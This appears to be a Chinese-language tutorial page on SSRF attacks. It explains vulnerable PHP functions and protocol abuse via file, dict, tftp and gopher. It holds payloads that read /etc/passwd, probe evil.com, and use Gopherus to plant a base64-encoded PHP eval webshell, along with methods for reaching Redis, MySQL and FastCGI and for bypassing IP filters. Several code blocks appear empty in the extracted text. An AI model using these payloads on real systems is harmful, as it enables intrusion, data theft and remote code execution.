SSRF
SSRF(服务端请求伪造) 是一种由攻击者构造请求,诱导服务端发起请求,让目标服务器执行非本意的操作的安全漏洞。
SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。
漏洞成因
- 服务端提供了从其他服务器应用获取数据的功能(比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载文件等等)
- 没有对目标地址、文件等做过滤与限制
- 一般情况下,服务端请求的目标都是与该请求服务器处于同一内网的资源服务
漏洞危害
- 内网探测:对内网服务器办公机器进行端口扫描、资产扫描、漏洞扫描
- 窃取本地和内网敏感数据:如利用file协议
- 攻击服务器本地或内网应用:利用发现的漏洞,可以进一步发起攻击利用
- 绕过安全防御:比如防火墙、CDN
漏洞的产生
- 通过url地址分享网页内容功能处
- 在线翻译
- url地址加载或下载图片处
- 图片、文章收藏功能
- 云服务器商(它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试)
- 有远程图片加载的地方
- 网站采集、网页抓取的地方(一些网站会针对你输入的url进行一些信息采集工作)
- 头像处(远程加载头像)
- 邮件系统
- 编码处理、属性信息处理、文件处理(比如ffpmg,ImageMagick,docx,pdf,xml处理器等)
- 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
漏洞挖掘
白盒测试
- 寻找可能构成SSRF漏洞的危险函数
黑盒测试(未)
- 观察burpsuit的网站请求消息报文中是否存在URL,并对URL构造payload进行测试
- 无回显型ssrf的检测需要先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性
产生漏洞的常见危险函数
file_get_contents()
file_get_contents是把文件或url指向的文件写入字符串,当url是内网的文件时,会先去把这个文件的内容读出来再写入,导致了文件读取
1 |
|
fsockopen($hostname,$port,$errno,$errstr,$timeout)
获取用户指定的url(文件或html),这个函数会使用socket跟服务器建立tcp连接或者Unix套接字连接,传输原始数据
1 |
|
curl_exec()
对远程的URL发起请求访问,并将请求的结果返回至前端页面
1 | //利用方式很多最常见的是通过file、dict、gopher这三个协议来进行渗透 |
SoapClient
简单对象访问协议(SOAP)是一种轻量、简单、基于 XML 的协议,它被设计在 WEB 上交换结构化的和固化的信息
PHP 的 SoapClient 就是可以基于 SOAP 协议可专门用来访问 WEB 服务的 PHP 客户端。
SoapClient
是一个 php 的内置类,当其进行反序列化时,如果触发了该类中的 __call
方法,那么 __call
便方法可以发送 HTTP 和 HTTPS 请求。该类的构造函数如下:
1 | public SoapClient :: SoapClient(mixed $wsdl [,array $options ]) |
- 第一个参数是用来指明是否是wsdl模式
- 第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP服务 的目标命名空间
利用协议
1 | file:// -- 本地文件传输协议,主要用于访问本地计算机中的文件 |
file://
1 | http://example.com/ssrf.php?url=file:///etc/passwd |
http(s)://
可通过服务器发送请求去探测内网存活的主机
1 | ssrf.php?url=http://192.168.52.1 |
参数可以通过 burpsuit 的 Intruder 模块进行爆破
dict://
1 | http://example.com/ssrf.php?url=dict://evil.com:1337/ |
tftp://
1 | http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET |
gopher://
Gopher是Internet上一个信息查找系统,它将Internet上的文件组织成某种索引,方便用户从Internet的处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具。使用tcp 70端口。但在WWW出现后,Gopher基本过时很少再使用
所有的WEB服务中间件都支持gopher协议,gopher可以发送任何的TCP数据包
gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp、telnet、Memcache等等,支持发出GET、POST请求
GET请求
- 构造 http 数据包
- URL 编码,替换回车换行为 %0d%0a(如果用工具转,可能只会有%0a)
- ‘?’ 号需要转为URL编码 %3f
- 如果有多个参数,’&’ 也要进行编码
- HTTP 包最后加 %0d%0a 代表消息结束
- 发送 gopher 协议
1 | curl gopher://192.168.0.119:2333/_abcd // 加'_' 字符是因为首字符会被吞,所以需要添加r任意一个占位字符 |
一个GET型的HTTP包,如下:
1 | GET /ssrf/base/get.php?name=Margin |
URL编码并改为gopher协议后:
1 | curl gopher://192.168.0.109:80/_GET%20/ssrf/base/get.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20192.168.0.109%0d%0A |
POST请求
- 有四个参数为必要参数:Content-Type,Content-Length,host,post
- Content-Length和POST的参数长度必须一致
- 如果有多个参数,’&’也要进行编码
- 在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码
- 回车换行需要使用 %0d%0a 来代替 %0a
1 | POST /ssrf/test/post.php |
URL编码并改为gopher协议后:
1 | curl gopher://192.168.1.120:80/_POST%20/ssrf/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.120%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Qianxun%0d%0A |
url解码的样子:
1 | curl gopher://192.168.1.120:80/_POST /ssrf/test/post.php HTTP/1.1 |
python脚本构造payload(post和get都适用)
1 | import urllib.parse |
Gopherus
这个工具使用时需要注意一点,得到的payload要先进行url编码再发包,否则解析过程无法得到预期结果
Gopherus 打 mysql
MySql 数据库用户认证的过程:MySQL 分为服务端和客户端。MySQL 数据库用户认证采用的是 挑战/应答 的方式,即服务器生成该挑战码(scramble)并发送给客户端,客户端用挑战码将自己的密码进行加密后,并将相应的加密结果返回给服务器,服务器本地用挑战码的将用户的密码加密,如果加密的结果和用户返回的加密的结果相同则用户认证成功,从而完成用户认证的过程
mysql 默认端口为 3306,最常用的是打无密码的 mysql
1 | python gopherus.py --exploit mysql |
Gopherus 打 FastCGI
CGI:是 Web Server 与 Web Application 之间数据交换的一种协议
FastCGI(Fast Common Gateway Interface):HTTP 协议是浏览器和服务器中间件进行数据交换的协议,类比 HTTP 协议来说,fastcgi 协议则是服务器中间件和某个语言后端(如 PHP-FPM )进行数据交换的协议
PHP-FPM:是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,算是 FastCGI 的一个具体实现。额外还提供了相对智能的任务管理功能
- 多数流行的 HTTP 服务器都支持 FastCGI,包括 Apache、Nginx 和 lightpd
- FastCGI 也被许多脚本语言所支持,比较流行的脚本语言之一为 PHP
- FastCGI 默认使用端口 9000 来处理请求,特别是在 PHP-FPM(FastCGI Process Manager)中常见
攻击 FastCGI 的主要原理就是,在设置环境变量实际请求中会出现一个 SCRIPT_FILENAME': '/var/www/html/index.php
这样的键值对,它的意思是 php-fpm 会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制 php-fpm 去执行某个已经存在的文件,不能够实现一些恶意代码的执行
好在 PHP 允许通过 PHP_ADMIN_VALUE
和 PHP_VALUE
去动态修改 PHP 的设置。那么当设置 PHP 环境变量为:auto_prepend_file = php://input;allow_url_include = On
时,就会在执行 PHP 脚本之前包含环境变量 auto_prepend_file
所指向的文件内容 php://input
也就是接收 POST 的内容,这个我们可以在 FastCGI 协议的 body 控制为恶意代码,就在理论上实现了p hp-fpm 任意代码执行的攻击
如果服务器在配置的时候将9000端口监听在公网上了,可以使用 fcgi_exp 工具直接进行攻击测试
利用 Gopherus 生成 payload
1
2
3python gopherus.py --exploit fastcgi
/var/www/html/index.php //这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
Gopherus 打 Redis
Redis 产生漏洞的条件:
- 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网
- 没有设置密码认证(一般为空),可以免密码远程登录 redis 服务
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有采用相关策略(比如添加防火墙规则避免其他非信任来源 ip 访问等),会导致 Redis 服务暴露在公网上。如果在没有设置密码认证(默认为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身提供的 config 命令,可以进行写文件操作,攻击者可以将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而使用对应私钥直接使用 ssh 服务登录目标服务器
SSRF 漏洞中,可以利用 Gopher 协议向目标主机写 WebShell 、写 SSH 公钥 、创建计划任务反弹 Shell 等。其思路都是一样的,就是先将 Redis 的本地数据库存放目录设置为 web 目录、~/.ssh 目录或 /var/spool/cron 目录等,然后将 dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行 save 或 bgsave 保存,就可以向指定目录里写入文件了
redis 使用 RESP 协议通信
绝对路径写 Webshell 的 redis 命令如下
1 | flushall # 清理 Redis 缓存,确保环境干净 |
创建计划任务反弹 Shell 的 redis 命令如下
1 | flushall |
然后使用脚本将其转化为 Gopher 协议的格式
1 | import urllib |
- Gopherus 生成 payload
参考
常见绕过方法
进制转换绕过内网 IP (过滤 127.0.0/localhost
- 任意数量的 0 绕过:127.00000.00000.001
- 十六进制绕过:http://0x7F000001
- 十进制绕过:http://2130706433
- 八进制绕过:http://0177.0000.0000.0001
- http://127.1/
- 127.0.0.1 ~ 127.255.255.254 都表示 localhost (?
- http://0
- http://[::]:80/ (Linux 下可用)
- 中文句号绕过:http://127。0。0。1/
- 花符号:http://①②⑦.⓪.⓪.①
- 使用sudo.cc代替:url=http://sudo.cc/
- 通过ip地址解析为127.0.0.1的网站进行绕过:http://spoofed.burpcollaborator.net/
@ 符绕过 IP
对于一个 url 的访问实际上是以 @ 符后为准的
如果目标代码限制访问的域名只能为 http://www.xxx.com
那么我们可以采用HTTP基本身份认证的方式绕过
即构造 http://www.xxx.com@10.10.10.10,则实际上访问的是 10.10.10.10 这个地址
302跳转绕过 IP
xip.io
网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名
当我们在网址后面加 xip.io,例如 http://127.0.0.1.xip.io/flag.php 会被解析成 http://127.0.0.1/flag.php
类似的网址还有 http://nip.io、http://sslip.io
短地址跳转
利用短地址生成网站,生成短连接,访问短链接会自动跳转到目标网址上,以此绕过 waf
利用 URL 的解析问题
readfile
和 parse_url
函数的解析差异
测试代码如下,同时,在 11211 端口下运行一个 web 服务,存在一个 flag.txt 文件
1 | // ssrf.php |
由于代码限制我们传过去的 url 端口只能是 80,如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过:
1 | ssrf.php?url=127.0.0.1:11211:80/flag.txt |
这是因为利用了两个函数解析端口的方式不同:readfile()
函数获取的端口是最后冒号前面的一部分(11211),而 parse_url()
函数获取的则是最后冒号后面的的端口(80),如下图所示:
此外, readfile()
和 parse_url()
在解析 host 的时候也有差异,如下图所示:
利用这种差异,可以尝试绕过题目中 parse_url()
函数对指定 host 的限制
curl
和 parse_url
函数的解析差异
测试代码如下:
1 |
|
上述代码中,check_inner_ip
函数通过 url_parse()
函数检测是否为内网 IP,如果不是内网 IP ,则通过 curl()
请求 url 并返回结果
我们可以利用 curl
和 parse_url
解析的差异不同来绕过这里的限制,让 parse_url()
处理外部网站网址,最后 curl()
请求内网网址
payload 如下:
1 | ssrf.php?url=http://@127.0.0.1:80@www.baidu.com/flag.php |